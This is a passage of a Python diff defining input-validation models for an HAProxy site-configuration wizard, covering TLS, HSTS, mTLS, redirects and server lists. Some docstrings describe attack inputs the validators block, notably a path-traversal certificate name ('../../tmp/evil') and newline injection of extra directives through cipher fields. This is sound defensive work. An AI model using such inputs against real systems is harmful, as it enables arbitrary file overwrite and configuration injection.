"FrontendStep": + """Phase K: TCP-mode frontends operate at L4 and cannot inspect + HTTP headers, so an `http-request redirect` / `redirect scheme` + directive is meaningless on a TCP frontend. The renderer at + `services/haproxy_config.py:829-845` does NOT branch on mode + before emitting redirect lines, so without this guard a + `mode='tcp' + https_redirect=true` payload would silently + produce a config that the agent's `haproxy -c` rejects only at + apply time. Reject it here so the operator gets immediate, + actionable feedback instead of a post-apply red badge.""" + if self.mode == "tcp" and self.https_redirect: + raise ValueError( + "frontend.mode='tcp' is incompatible with " + "frontend.https_redirect=true: TCP frontends operate at L4 " + "and cannot inspect HTTP headers. Switch to mode='http' or " + "disable the HTTP→HTTPS redirect switch." + ) + # Bulgu #19 (round-9 audit) — generalisation of the + # https_redirect guard to ANY explicit redirect_rules entry. + # Pre-fix the operator could submit: + # + # frontend.mode = 'tcp' + # frontend.https_redirect = false ← passes the older check + # frontend.redirect_rules = [{...scheme rule...}] + # + # and the renderer would happily emit `redirect ...` lines + # inside a `mode tcp` frontend. The agent's `haproxy -c` + # then refuses to load the config with the same fatal + # parse error described above. Reject explicit redirect + # rules on TCP frontends too. Empty list is fine. + if self.mode == "tcp" and self.redirect_rules: + raise ValueError( + "frontend.mode='tcp' is incompatible with " + "frontend.redirect_rules: HAProxy `redirect` directives " + "are HTTP-only. Switch to mode='http' or remove the " + "redirect_rules entries to continue." + ) + # Bulgu #19 (round-9 audit) — `acl_rules` / `use_backend_rules` + # are also HTTP-leaning: the renderer emits them as + # `acl ...` + `use_backend ...` lines which HAProxy ONLY + # honors in HTTP frontends (TCP frontends use + # `tcp-request content use-backend` instead). Pre-fix the + # wizard accepted these on a TCP frontend and the agent + # silently routed everything to `default_backend`. We do + # NOT reject ACL/use_backend on TCP outright (operators may + # use them via `tcp-request content` snippets in + # `tcp_request_rules`) — but warn-via-strict-rule shape is + # outside this audit. Pin only the redirect mismatch. + + # Bulgu #20 (round-10 audit) — additional TCP-mode guards. + # The renderer in `services/haproxy_config.py` emits the + # following directives UNCONDITIONALLY (not gated on mode): + # + # * `compression algo gzip` — HAProxy refuses to load a + # TCP frontend with a `compression` directive: it can + # only operate at L7. Parse error at apply. + # * `monitor-uri ` — HAProxy 2.4+ rejects this in a + # TCP frontend ("monitor-uri requires HTTP mode" parse + # error). + # * `rate_limit` expands to `stick-table` + a pair of + # `http-request track-sc0 src` + `http-request deny` + # lines. The `http-request` family is HTTP-only — TCP + # parse error. + # * `timeout http-request ` — softly accepted by + # HAProxy on TCP frontends but emitted as a + # "directive ignored in mode tcp" warning, surfacing + # in Apply Management as a confusing post-apply + # warning on a config that did not need that timeout. + # + # Reject each at the model boundary so the operator sees a + # clear "switch mode or unset X" message instead of an + # opaque apply-time parse error. + if self.mode == "tcp": + tcp_blockers: List[str] = [] + if self.compression: + tcp_blockers.append("compression=true") + if self.monitor_uri: + tcp_blockers.append("monitor_uri") + if self.rate_limit is not None and self.rate_limit > 0: + tcp_blockers.append("rate_limit") + if self.timeout_http_request is not None: + tcp_blockers.append("timeout_http_request") + # Bulgu #56 (round-19 audit) — request_headers / response_headers + # emit `http-request set-header …` / `http-response set-header …` + # directives via haproxy_config.py:1063-1074 unconditionally + # (the renderer does NOT branch on mode). HAProxy's parser + # then refuses to load the config: + # + # [ALERT] : config: 'http-response' is not allowed in + # 'frontend' section in mode tcp + # + # Pre-fix the wizard happily accepted the combo, the agent + # tried to reload, the parse error blocked ALL subsequent + # applies on the cluster (the apply queue marks the version + # as FAILED but cannot move forward without operator + # intervention). Reject the combination at submit time. + if self.request_headers: + tcp_blockers.append("request_headers") + if self.response_headers: + tcp_blockers.append("response_headers") + if tcp_blockers: + raise ValueError( + f"frontend.mode='tcp' is incompatible with the " + f"following HTTP-only field(s): {', '.join(tcp_blockers)}. " + "HAProxy rejects these directives in a TCP-mode " + "frontend at parse time. Switch to mode='http' OR " + "unset the listed field(s) and resubmit." + ) + return self + + +class SSLChoice(BaseModel): + """SSL configuration leg of the wizard. + + mode='acme' -> stage an ACME order, defer HTTPS frontend creation to + _complete_certificate's post_completion_actions. + mode='upload' -> upload a PEM cert+key now, create HTTPS frontend in + the same atomic transaction. + mode='existing' -> reuse a pre-existing ssl_certificate id (admin + previously imported), create HTTPS frontend. + mode='none' -> HTTP-only host (no HTTPS frontend, no cert). + """ + + mode: Literal["acme", "upload", "existing", "none"] + + # mode=upload + name: Optional[str] = Field(default=None, max_length=255) + # R14 hardening: bound PEM payloads. A real RSA-4096 cert is ~2KB, + # a typical chain is ~6KB. 64KB per field is a comfortable 10x + # safety margin while preventing pathological DOS-shaped uploads + # from inflating request memory and the SSL service downstream. + certificate_content: Optional[str] = Field(default=None, max_length=65536) + private_key_content: Optional[str] = Field(default=None, max_length=65536) + chain_content: Optional[str] = Field(default=None, max_length=65536) + + # mode=existing + ssl_certificate_id: Optional[int] = None + + # mode=acme + auto_renew: bool = True + # NOTE: per-cert renewal-before-days override is NOT yet plumbed + # through to the renewal scheduler (v1.6.0). We deliberately omit the + # field from the wizard payload to avoid offering a placebo control + # in the UI — global `acme.renew_before_days` still applies. + account_id: Optional[int] = None # if None, server picks the latest valid account + + # HTTPS frontend overrides (used by upload/existing/acme post-completion): + https_bind_port: int = Field(default=443, ge=1, le=65535) + https_frontend_name_suffix: Optional[str] = Field(default="-https", max_length=64) + # ----- Advanced TLS / HTTPS frontend tuning (HAProxy 2.4+ bind directives) + # IMPORTANT: defaults are intentionally None so v1.5.0 first-deploy + # behaviour is preserved unchanged. Setting these defaults to e.g. + # 'TLSv1.2' or 'h2,http/1.1' would change the cipher/ALPN profile of + # newly-created HTTPS frontends compared with the first 1.5.0 release — + # a silent backward-compat regression. The wizard UI populates the + # form with sensible *form-level* initial values; the model stays + # neutral so direct API callers and saved drafts behave identically. + ssl_alpn: Optional[str] = Field( + default=None, + max_length=128, + description="Comma-separated ALPN protocols (e.g. 'h2,http/1.1')", + ) + ssl_min_ver: Optional[Literal["TLSv1.0", "TLSv1.1", "TLSv1.2", "TLSv1.3"]] = Field( + default=None, + description="Minimum TLS version (HAProxy `ssl-min-ver`)", + ) + ssl_max_ver: Optional[Literal["TLSv1.0", "TLSv1.1", "TLSv1.2", "TLSv1.3"]] = None + ssl_ciphers: Optional[str] = Field( + default=None, max_length=2048, + description="OpenSSL cipher list (HAProxy `ciphers`)", + ) + ssl_ciphersuites: Optional[str] = Field( + default=None, max_length=2048, + description="TLS 1.3 ciphersuites (HAProxy `ciphersuites`)", + ) + ssl_strict_sni: bool = Field( + default=False, + description="Reject TLS handshakes without matching SNI (HAProxy `strict-sni`)", + ) + # R17 minimum-parity: client cert verification (mTLS) on the HTTPS bind. + # Same Literal set as the manual frontend create endpoint (FrontendConfig). + # Default None (unset) so v1.5.0 first-deploy hosts continue serving + # anonymous TLS — switching this on is an opt-in security upgrade. + ssl_verify: Optional[Literal["none", "optional", "required"]] = Field( + default=None, + description="mTLS client cert auth on the HTTPS bind: 'none' " + "(disabled), 'optional' (accept anonymous), or 'required' (reject " + "anonymous). Default None means the bind directive is omitted.", + ) + + @field_validator("ssl_verify", mode="before") + @classmethod + def coerce_ssl_verify_empty_to_none(cls, v): + """PR-2 (R11.B): UI Select widgets clear to '' (empty string). + Coerce empty / sentinel values to None so the generator omits + the directive. Genuine values pass through for Literal check. + """ + if v is None: + return None + if isinstance(v, str): + stripped = v.strip().lower() + if stripped in ("", "[]", "{}", "null"): + return None + if stripped in ("none", "optional", "required"): + return stripped + return v + hsts_enabled: bool = Field( + default=False, + description="Inject HTTP Strict-Transport-Security header on HTTPS responses", + ) + hsts_max_age: int = Field( + default=31536000, ge=0, le=63072000, + description=( + "HSTS max-age in seconds (default 1 year). Capped at " + "63072000 (2 years), the largest value the HSTS preload " + "list currently accepts. R18b audit fix (round 4 #D): " + "pre-fix the field accepted unbounded ints, which let an " + "operator emit `Strict-Transport-Security: max-age=10**18` " + "and effectively pin the host to HTTPS forever in every " + "browser that observed the response — recovery requires " + "user-side cache invalidation." + ), + ) + hsts_include_subdomains: bool = True + hsts_preload: bool = False + + @field_validator("name") + @classmethod + def _validate_ssl_name_no_path_traversal(cls, v: Optional[str]) -> Optional[str]: + """Bulgu #21 (round-11 audit): ssl.name is interpolated into the + on-disk certificate path by haproxy_config.py: + + cert_path = f"/etc/ssl/haproxy/{ssl_cert['name']}.pem" + + and emitted into the rendered HAProxy config. The agent then + runs `mv "$temp_cert_file" "$cert_file_path"` as root, which + means a name like '../../tmp/evil' resolves to '/tmp/evil.pem' + and would let an operator with ssl.create permission overwrite + arbitrary `*.pem` files on the agent host (privilege-escalation + vector: ssl-upload-only operator gains arbitrary-file-write). + The trailing `.pem` suffix mitigates common exploit paths + (cron.d, profile.d, authorized_keys) but is defense-only — the + right fix is to constrain `name` to a safe filename character + class at the wizard boundary. + + Restrict to `[A-Za-z0-9_.-]` and explicitly reject: + * empty string + * leading dot (hidden files / `.pem` accidentally collapsing + to a path component named `.pem`) + * embedded `..` (path traversal) + * leading `-` (HAProxy CLI flag confusion when admins inspect + files; also matches /etc/ssl/haproxy/-rf as accidental rm + target) + """ + if v is None: + return v + stripped = v.strip() + if not stripped: + return v + if stripped != v: + raise ValueError( + "ssl.name must not contain leading or trailing whitespace" + ) + if len(stripped) > 200: + raise ValueError("ssl.name must be 200 characters or fewer") + import re as _re + if not _re.match(r'^[A-Za-z0-9_.-]+$', stripped): + raise ValueError( + f"ssl.name={v!r} contains forbidden characters — only " + "letters, digits, underscore, hyphen, and dot are allowed " + "(the certificate name is used as a filename component " + "under /etc/ssl/haproxy/)." + ) + if ".." in stripped: + raise ValueError( + f"ssl.name={v!r} must not contain '..' (path traversal)" + ) + if stripped.startswith("."): + raise ValueError( + f"ssl.name={v!r} must not start with '.' (hidden filename)" + ) + if stripped.startswith("-"): + raise ValueError( + f"ssl.name={v!r} must not start with '-' (CLI flag confusion)" + ) + return stripped + + @field_validator("https_frontend_name_suffix") + @classmethod + def _validate_https_suffix(cls, v: Optional[str]) -> Optional[str]: + """Bulgu #16 (round-6 audit): the suffix is appended to the + HTTP frontend's name to form the HTTPS frontend's name. + For the result to be a valid HAProxy frontend name (matches + `^[a-zA-Z][a-zA-Z0-9_-]{0,63}$`) the suffix must: + + * be non-empty (empty suffix would generate an HTTPS + frontend that collides with the HTTP frontend's name + and surfaces as a confusing fe-name collision error + late at submit time); + * contain ONLY `[a-zA-Z0-9_-]` (the HAProxy frontend- + name character class) so the composite name doesn't + break the parser. + + Pre-fix the wizard accepted `https_frontend_name_suffix=""` + and `"-with spaces "` and only surfaced the error AFTER a + round-trip through `create_frontend_row`, which by then + had already created the backend + servers + ACME order. + """ + if v is None: + return v + if v == "": + raise ValueError( + "ssl.https_frontend_name_suffix must not be empty — " + "set a non-empty suffix (default '-https') so the " + "HTTPS frontend's name does not collide with the " + "HTTP frontend's name." + ) + import re as _re + if not _re.match(r'^[a-zA-Z0-9_-]+$', v): + raise ValueError( + f"ssl.https_frontend_name_suffix={v!r} must only " + "contain letters, digits, '_' or '-' (the HAProxy " + "frontend-name character class). The composite " + "`` must be a valid HAProxy " + "frontend name." + ) + return v + + @model_validator(mode="after") + def reject_hsts_preload_without_hsts(self): + """R18b audit fix (round 5 #M): an operator can independently + toggle `hsts_preload`/`hsts_include_subdomains` even with + `hsts_enabled=False`. The wizard then persists the booleans + but emits NO Strict-Transport-Security header at all (the + emit is gated on `hsts_enabled`). Result: the operator sees + "preload on" and assumes the site is preload-eligible while + in reality the header is absent, so the preload list will + reject submission. Surface the contradiction at validation + time instead of letting the misconfig sit in the DB. + """ + if self.hsts_preload and not self.hsts_enabled: + raise ValueError( + "ssl.hsts_preload=true requires ssl.hsts_enabled=true. " + "Preload submission also requires include_subdomains and " + "max-age >= 31536000." + ) + # The HSTS preload list (https://hstspreload.org) explicitly + # requires max_age >= 1 year and include_subdomains=true. Reject + # combinations that would never satisfy submission so we don't + # mislead operators chasing preload eligibility. + if self.hsts_preload and self.hsts_max_age < 31536000: + raise ValueError( + "ssl.hsts_preload=true requires hsts_max_age >= 31536000 " + "(1 year) per the HSTS preload list policy." + ) + if self.hsts_preload and not self.hsts_include_subdomains: + raise ValueError( + "ssl.hsts_preload=true requires hsts_include_subdomains=true " + "per the HSTS preload list policy." + ) + # R18c audit fix (round 3 #6): refuse TLS 1.0 / 1.1 on the + # HTTPS frontend bind for the same RFC 8996 reasons as the + # backend server validator. Operators can still author the + # frontend through the regular Frontends UI; the wizard + # surface stays modern. + for fld in ("ssl_min_ver", "ssl_max_ver"): + v = getattr(self, fld, None) + if v in ("TLSv1.0", "TLSv1.1"): + raise ValueError( + f"ssl.{fld}={v} is no longer accepted by the wizard. " + "TLS 1.0 / 1.1 are deprecated by RFC 8996. Use TLSv1.2 " + "or TLSv1.3." + ) + + # Bulgu #48 (round-17 audit) — ALPN ↔ TLS min-version + # consistency. RFC 7540 (HTTP/2) section 9.2 makes TLS 1.2 + # the MINIMUM for HTTP/2 over TLS, and major browsers + # additionally require the `EXTENDED_MASTER_SECRET` + AEAD + # ciphers introduced at TLS 1.2. An operator who picks + # `ssl_alpn='h2,http/1.1'` together with `ssl_min_ver= + # 'TLSv1.0'` (allowed by the Literal) creates a config + # where TLS 1.0/1.1 clients DOWNGRADE — but the server STILL + # advertises h2 in the ALPN list. Modern browsers refuse the + # handshake; old browsers fall back to HTTP/1.1; the operator + # sees inconsistent breakage with no obvious cause. With the + # TLS 1.0/1.1 reject above already in place, the practical + # surface is `ssl_alpn='h2,…'` plumbed alongside an unset + # `ssl_min_ver` (defaults to whatever HAProxy/OpenSSL + # negotiates, typically 1.0 on old OS images). Require + # `ssl_min_ver` to be set to 1.2+ when h2 is advertised so + # the operator sees a clear "set ssl_min_ver=TLSv1.2" + # message instead of debugging browser-side ERR_SPDY_… + # errors weeks later. + alpn = (self.ssl_alpn or "").lower().strip() + if alpn and "h2" in [tok.strip() for tok in alpn.split(",")]: + min_ver = self.ssl_min_ver + # min_ver=None means "let HAProxy choose" which may + # negotiate < TLSv1.2 on older agents. Require explicit + # 1.2+ so HTTP/2 is unambiguously safe. + if min_ver not in ("TLSv1.2", "TLSv1.3"): + raise ValueError( + f"ssl.ssl_alpn={self.ssl_alpn!r} advertises h2 (HTTP/2) " + "but ssl.ssl_min_ver is " + f"{min_ver if min_ver else 'unset (HAProxy default)'}. " + "RFC 7540 section 9.2 mandates TLS 1.2+ for h2; " + "modern browsers refuse the handshake otherwise. " + "Set ssl.ssl_min_ver to 'TLSv1.2' or 'TLSv1.3', OR " + "remove 'h2' from the ALPN list." + ) + return self + + @model_validator(mode="after") + def reject_ssl_verify_without_ca_file(self) -> "SSLChoice": + """Bulgu #26 (round-12 audit): SSLChoice.ssl_verify accepts + 'optional' and 'required' but the renderer's + `_resolve_frontend_client_ca_path` always returns None (PR-7 + placeholder), which triggers the safeguard in + `_apply_bind_ssl_verify` that SILENTLY DROPS the `verify` + directive to prevent a fatal HAProxy ALERT. Result: an + operator who selects "required — reject anonymous" in the UI + gets a cert row with `ssl_verify='required'`, sees no error + anywhere, but the rendered HAProxy bind has NO `verify` token + at all. mTLS is silently disabled. The site appears to be + configured for mTLS in the OpenManager UI / DB / preview, but + the actual TLS handshake accepts anonymous clients. + + Until the ca-file column (PR-7) is wired through the wizard, + reject `ssl_verify in ('optional', 'required')` at submit so + the operator gets a clear, actionable error instead of a + silent misconfig. + """ + if self.ssl_verify in ("optional", "required"): + raise ValueError( + f"ssl.ssl_verify='{self.ssl_verify}' requires a client-CA " + "bundle (HAProxy `ca-file`). The Site Wizard does not yet " + "plumb the ca-file field, so the renderer SILENTLY DROPS " + "the `verify` directive to avoid a fatal HAProxy parse " + "error — your mTLS selection would NOT actually be " + "enforced. Set ssl.ssl_verify to None (or 'none') here " + "and configure mTLS via Frontend Management → Advanced " + "TLS once the wizard exposes the client-CA bundle field." + ) + return self + + @field_validator("ssl_alpn") + @classmethod + def _validate_ssl_alpn(cls, v: Optional[str]) -> Optional[str]: + """Bulgu #27 (round-12 audit): ssl_alpn is emitted verbatim + into `bind ... alpn `. HAProxy expects a comma- + separated list of ALPN protocol identifiers (RFC 7301); + whitespace inside a token or a stray separator triggers + parse errors at apply time. Pre-fix the wizard accepted + any string up to 128 chars, so `ssl_alpn='h2, http/1.1'` + (note the space after the comma) made it through and + broke apply with a confusing 'no shared cipher' surface. + + Accepted token grammar: `[A-Za-z0-9._/-]+` per token. IANA + ALPN registry IDs (`h2`, `http/1.1`, `acme-tls/1`, etc.) + all match this. Tokens are split on `,` and each token is + stripped before validation so "h2, http/1.1" is the same + as "h2,http/1.1" — but we re-join with no spaces because + HAProxy is whitespace-strict. + """ + if v is None: + return v + stripped = v.strip() + if not stripped: + return None + if len(stripped) > 128: + raise ValueError("ssl.ssl_alpn must be 128 characters or fewer") + import re as _re + tokens_raw = [t.strip() for t in stripped.split(",")] + if any(not t for t in tokens_raw): + raise ValueError( + "ssl.ssl_alpn must not contain empty tokens " + "(e.g. trailing comma or 'h2,,http/1.1')" + ) + for tok in tokens_raw: + if not _re.match(r"^[A-Za-z0-9._/-]+$", tok): + raise ValueError( + f"ssl.ssl_alpn token {tok!r} contains invalid characters. " + "Each ALPN protocol identifier must match the IANA " + "ALPN registry grammar (e.g. 'h2', 'http/1.1', " + "'acme-tls/1'); use only letters, digits, '.', '_', " + "'/' or '-'." + ) + return ",".join(tokens_raw) + + @field_validator("ssl_ciphers", "ssl_ciphersuites") + @classmethod + def _validate_ssl_cipher_list( + cls, v: Optional[str], info + ) -> Optional[str]: + """Bulgu #33 (round-14 audit): `ssl_ciphers` / `ssl_ciphersuites` + get interpolated directly into `bind ... ciphers ` and + `bind ... ciphersuites ` directives. OpenSSL cipher + specifications are colon-separated identifiers with optional + `!` / `+` / `-` / `@` operators (e.g. + `ECDHE-RSA-AES128-GCM-SHA256:!aNULL:!MD5`). No whitespace, + no newlines. + + Pre-fix the wizard only enforced `max_length=2048`, so a + newline-bearing value would split the bind line and inject + arbitrary HAProxy directives into the frontend block. We + reject any control character, newline, AND any embedded + whitespace (HAProxy's bind-line tokenizer splits at the first + space, so a space inside the cipher spec would shift later + keywords like `ssl-min-ver` / `alpn` into wrong positions). + + We do NOT validate the cipher-name grammar itself — that's + OpenSSL's job and the catalogue evolves; the validator's + scope is strict shape-only (no whitespace, no control chars, + no newlines). + """ + if v is None: + return v + stripped = v.strip() + if not stripped: + return None + if '\n' in stripped or '\r' in stripped: + field_name = info.field_name if info else 'cipher field' + raise ValueError( + f"ssl.{field_name} must not contain line breaks " + "(HAProxy bind directives are single-line; embedded " + "newlines would smuggle additional directives into " + "the rendered frontend block)" + ) + if any(ch.isspace() for ch in stripped): + field_name = info.field_name if info else 'cipher field' + raise ValueError( + f"ssl.{field_name} must not contain whitespace " + f"(got {v!r}). OpenSSL cipher specs are colon-" + "separated with no embedded spaces; HAProxy's " + "bind-line tokenizer would otherwise read the rest " + "of the value as separate keywords." + ) + return stripped + + @model_validator(mode="after") + def reject_inverted_tls_versions(self) -> "SSLChoice": + """Phase K: when both `ssl_min_ver` and `ssl_max_ver` are set, + require min <= max. HAProxy emits `ssl-min-ver` / `ssl-max-ver` + bind options independently; if `min > max` the resulting bind + accepts no TLS handshakes at all (the agent's `haproxy -c` + accepts the syntax but every TLS handshake fails at runtime + with a generic "no shared cipher" error, which is surprisingly + hard to diagnose). Surface the contradiction at the wizard + boundary instead of letting a saved-and-applied site sit in a + broken state.""" + order = { + "TLSv1.0": 0, + "TLSv1.1": 1, + "TLSv1.2": 2, + "TLSv1.3": 3, + } + if self.ssl_min_ver and self.ssl_max_ver: + if order[self.ssl_min_ver] > order[self.ssl_max_ver]: + raise ValueError( + f"ssl.ssl_min_ver={self.ssl_min_ver} cannot be greater " + f"than ssl.ssl_max_ver={self.ssl_max_ver}: an inverted " + "TLS range causes every handshake to fail at runtime." + ) + return self + + +class SiteCreate(BaseModel): + """Top-level Site Wizard create payload. + + NOTE: This class was renamed from `ProxiedHostCreate` as part of + the v1.5.x Site rebrand. A backward-compat alias + `ProxiedHostCreate = SiteCreate` is exported at the bottom of this + module so existing imports / pickled instances keep working. + """ + + cluster_id: int = Field(..., ge=1) + domains: List[str] = Field(..., min_length=1, max_length=100) + backend: BackendStep + servers: List[ServerStep] = Field(..., min_length=1, max_length=50) + frontend: FrontendStep + ssl: SSLChoice + apply_immediately: bool = False + + @field_validator("servers") + @classmethod + def reject_all_zero_weight_servers(cls, v: List["ServerStep"]) -> List["ServerStep"]: + """Bulgu #50 (round-18 audit) — sibling of Bulgu #49 (all-backup). + HAProxy uses `weight` to compute each server's share of incoming + traffic; `weight=0` is the operator's "drain" signal — the + server keeps existing keep-alive connections but receives ZERO + new requests. If every server in a backend has weight=0, new + traffic has nowhere to go: HAProxy returns 503 (or queues + until queue overflow) for every request that would normally + round-robin into this backend. + + Pre-fix the wizard's per-server `weight: ge=0` accepted 0 and + the operator never saw a warning. The all-zero state was + usually a typo from copy-pasting from an active-active to + active-passive layout (operator meant to set ONE weight to 0 + as the failover slot). + + The check fires only for 2+ servers: a single-server backend + with weight=0 is sometimes a legitimate "this backend is + draining for maintenance" pattern. + + Distinct from Bulgu #49: the operator could mark all servers + primary (backup_server=false) AND all weight=0 — that combo + passes #49 but hits #50.""" + if not v or len(v) < 2: + return v + non_zero_weight = sum( + 1 for s in v if int(getattr(s, "weight", 100) or 0) > 0 + ) + if non_zero_weight == 0: + raise ValueError( + f"All {len(v)} servers have weight=0 (drain). HAProxy " + "routes new requests by weighted round-robin — with " + "every weight at 0 the backend silently 503s every " + "new request. Set at least one server's weight to >0, " + "or remove the drained server(s) entirely if they are " + "no longer needed." + ) + return v + + @field_validator("servers") + @classmethod + def reject_all_backup_servers(cls, v: List["ServerStep"]) -> List["ServerStep"]: + """Bulgu #49 (round-17 audit) — HAProxy's `backup` flag + designates a server as a fail-over slot: it only receives + traffic when ALL primary (non-backup) servers in the same + backend are marked DOWN. If every server in the backend is + flagged `backup_server=true`, HAProxy considers the backend + permanently unable to serve traffic — every request lands on + `default_backend` or hits the cluster's no-server error + response. The wizard accepts this combination silently because + per-server validators don't see the rest of the list. + + Pre-fix the operator paste-error of "mark all 3 as backup + because they're standby" surfaced as a hard-to-debug 503 + cascade post-apply: every health probe succeeds, but no + request ever reaches a server. + + Reject upfront so the operator either un-marks one as + primary or drops the backup flag entirely. The check fires + only when there are 2+ servers (a single backup server is a + sensible "no traffic during deploy" pattern that the + operator may intentionally toggle on for short windows).""" + if not v or len(v) < 2: + return v + primary_count = sum( + 1 for s in v if not bool(getattr(s, "backup_server", False)) + ) + if primary_count == 0: + raise ValueError( + f"All {len(v)} servers are flagged backup_server=true. " + "HAProxy's `backup` slot only receives traffic when at " + "least one PRIMARY (non-backup) server is UP — with no " + "primaries the backend silently black-holes every " + "request. Un-flag at least one server, or remove the " + "backup flag entirely if you want all of them serving." + ) + return v + + @field_validator("servers") + @classmethod + def reject_duplicate_server_names(cls, v: List["ServerStep"]) -> List["ServerStep"]: + """Bulgu #17 (round-7 audit): HAProxy requires server names to + be unique within a backend block. Two `server srv1 ...` lines + in the same backend produce a config the agent's `haproxy -c` + REJECTS at apply time with: + + [ALERT] ... : Proxy 'be-foo' : duplicate server 'srv1' + + Pre-fix the wizard happily forwarded the duplicate names to + `create_backend_server_row` which only checks for backend- + scoped uniqueness at the DB level (UNIQUE constraint), so the + first server row was created, the second hit a UniqueViolation, + and the wizard surfaced a generic 500 with the constraint + name. Catching it here gives the operator a clear, actionable + message naming the duplicate(s). + + Address+port duplicates are NOT rejected — operators sometimes + intentionally route the same upstream through two aliases + (e.g. `srv1-primary` + `srv1-canary`) — but server-name + duplication is unambiguously a typo. + """ + if not v: + return v + seen: dict = {} + duplicates: List[str] = [] + for s in v: + name = (s.server_name or '').strip() + if not name: + continue + if name in seen: + duplicates.append(name) + else: + seen[name] = True + if duplicates: + dup_unique = sorted(set(duplicates)) + raise ValueError( + f"Duplicate server names within the same backend: " + f"{', '.join(dup_unique)}. HAProxy requires unique " + f"`server ` tokens — rename the duplicate(s)." + ) + return v + + @field_validator("domains") + @classmethod + def normalise_domains(cls, v: List[str]) -> List[str]: + """Normalize each domain (lowercase, trim) and reject + duplicates AFTER normalisation. + + Bulgu #16 (round-6 audit): pre-fix the wizard accepted + `["Site.com", "site.com", "www.SITE.com"]` and forwarded all + three to: + * the SSL upload / ACME order — Let's Encrypt rejects + duplicate identifiers in the same order with an + opaque error; + * the HSTS / `domains_handled` JSONB column — duplicates + inflate audit logs and bypass per-domain rate limits; + * the ACME-challenge ACL routing — duplicates have no + effect but bloat the rendered config. + + We dedupe POST-normalisation (case-insensitive) so the + operator's "Site.com" / "site.com" pair is caught and + rejected with a clear list of conflicting entries. The + original ORDER of first occurrence is preserved. + """ + if not v: + return v + normalised = [validate_domain(d) for d in v] + seen: set = set() + duplicates: List[str] = [] + unique_in_order: List[str] = [] + for d in normalised: + if d in seen: + duplicates.append(d) + else: + seen.add(d) + unique_in_order.append(d) + if duplicates: + # De-dup the duplicate list too so the error message is + # readable when the operator submitted three copies of + # the same string. + dup_unique = sorted(set(duplicates)) + raise ValueError( + f"Duplicate domain entries detected (case-insensitive after " + f"normalisation): {', '.join(dup_unique)}. Remove the " + f"duplicate(s) and resubmit." + ) + return unique_in_order + + @model_validator(mode="after") + def enforce_acme_apply_and_http(self) -> "SiteCreate": + """M22: acme mode REQUIRES apply_immediately=true so the agent can + confirm the bulk-site-create-{ts} version (gating the + deferred LE API call). + + Round 10 micro-finding: acme mode also REQUIRES frontend.mode='http' + because HTTP-01 challenge is served on port 80 plain HTTP only. + + Bulgu #31: ssl.mode='upload' MUST carry non-empty PEM payload — + otherwise create_cert_row would silently insert an unusable cert + and break HAProxy reload at apply time. + + Bulgu #31b: ssl.mode='existing' MUST carry ssl_certificate_id — + otherwise the wizard would fall through to the runtime check with + a confusing 400 instead of a clean 422. + """ + if self.ssl.mode == "acme": + if not self.apply_immediately: + raise ValueError( + "ssl.mode='acme' requires apply_immediately=true (the agent must " + "confirm the new HTTP frontend before the LE API call can run)" + ) + if self.frontend.mode != "http": + raise ValueError( + "ssl.mode='acme' requires frontend.mode='http' (HTTP-01 challenge)" + ) + # Bulgu #34 (round-15 audit) — DO NOT hard-block non-80 ports here. + # + # Previously this model validator rejected ANY ACME payload with + # `frontend.bind_port != 80`. That assumed the wizard's new + # frontend is the ONLY thing on port 80 — true for solo-site + # clusters, but FALSE for the canonical enterprise pattern where + # one shared HTTP frontend on port 80 host-routes traffic to many + # backends. Operators with such clusters were stuck: + # + # * keep bind_port=80 → `Bind *:80 already used by frontend X` + # hard error (the cluster's shared port-80 frontend collides). + # * change bind_port → this validator rejected the payload. + # + # The actual HTTP-01 routing chain only requires: + # 1. cluster.acme_enabled = TRUE (renderer injects the + # `/.well-known/acme-challenge/` ACL into EVERY HTTP-mode + # frontend in the cluster — see haproxy_config.py:974-978). + # 2. SOME HTTP-mode frontend in the cluster listens on port 80 + # (so LE's plain-HTTP probe can land somewhere). + # 3. `_acme_challenge_backend` proxies to OpenManager which + # serves the token regardless of which domain LE asked for. + # + # When the cluster ALREADY has a port-80 HTTP frontend that is + # not the wizard's new one, the wizard's new frontend can bind + # ANY free port — the challenge will still be served by the + # existing port-80 frontend. The route handler does the + # cluster-aware check (it needs DB access; model validators + # don't have it). See `_validate_acme_port80_reachable` in + # routers/site_wizard.py. + # + # We keep the model-level check for the OBVIOUSLY-WRONG case + # (port < 1 / > 65535 is already covered by FrontendStep field + # constraints) but defer the cluster-aware "is some port-80 + # frontend reachable?" decision to the route handler. + # R16 hardening (#R16-1): wildcard domains (e.g. '*.example.com') + # require the DNS-01 challenge per Let's Encrypt rules — HTTP-01 + # is server-side validation against a single hostname's HTTP + # endpoint and cannot prove ownership of an entire DNS subtree. + # Pre-R16 the wizard happily forwarded '*.example.com' to LE, + # which then rejected the order with "wildcard requires DNS-01" + # — the user only saw an opaque order error long after submit. + # Reject upfront with a clear, actionable message. + wildcard_domains = [d for d in self.domains if d.startswith("*.")] + if wildcard_domains: + raise ValueError( + f"ssl.mode='acme' (HTTP-01) cannot issue wildcard certs " + f"({', '.join(wildcard_domains)}). Let's Encrypt requires " + "DNS-01 for wildcards. Either remove the wildcard domain " + "or pick ssl.mode='upload' / 'existing' with a wildcard " + "cert obtained out-of-band." + ) + + # Bulgu #30 (round-13 audit) — explicit scheme=https redirect_rules + # entries bypass the auto-generated ACME-safe condition that + # `_build_redirect_rules` emits for `https_redirect=true`. + # FrontendStep already rejects the (https_redirect=true, + # redirect_rules non-empty) combination as mutually exclusive, + # so operators reach this branch by manually typing a + # scheme→https redirect into `redirect_rules`. On an ACME + # site that pattern would 301 the LE HTTP-01 challenge + # request to the (not-yet-existing) HTTPS endpoint and the + # order would fail at validation (see Bulgu #29 for the + # detailed sequence). Reject these rules at the model + # boundary so the operator gets a clear, actionable + # message before submit. Allow rules that already encode + # the `path_beg /.well-known/acme-challenge/` exclusion in + # their condition — those are operator-curated and safe. + unsafe_scheme_redirects: List[str] = [] + for _idx, _rule in enumerate(self.frontend.redirect_rules or []): + if isinstance(_rule, dict): + if (_rule.get("type") or "").strip().lower() != "scheme": + continue + if (_rule.get("scheme") or "").strip().lower() != "https": + continue + _cond = (_rule.get("condition") or "") + if "/.well-known/acme-challenge" not in _cond: + unsafe_scheme_redirects.append( + f"redirect_rules[{_idx}] (dict)" + ) + elif isinstance(_rule, str): + # Legacy raw-string entries. Look for the + # canonical `scheme https` token; if the rule does + # NOT carry the challenge-path exclusion we treat + # it as unsafe. + _s = _rule.strip().lower() + if "scheme https" in _s and "/.well-known/acme-challenge" not in _s: + unsafe_scheme_redirects.append( + f"redirect_rules[{_idx}] (string)" + ) + if unsafe_scheme_redirects: + raise 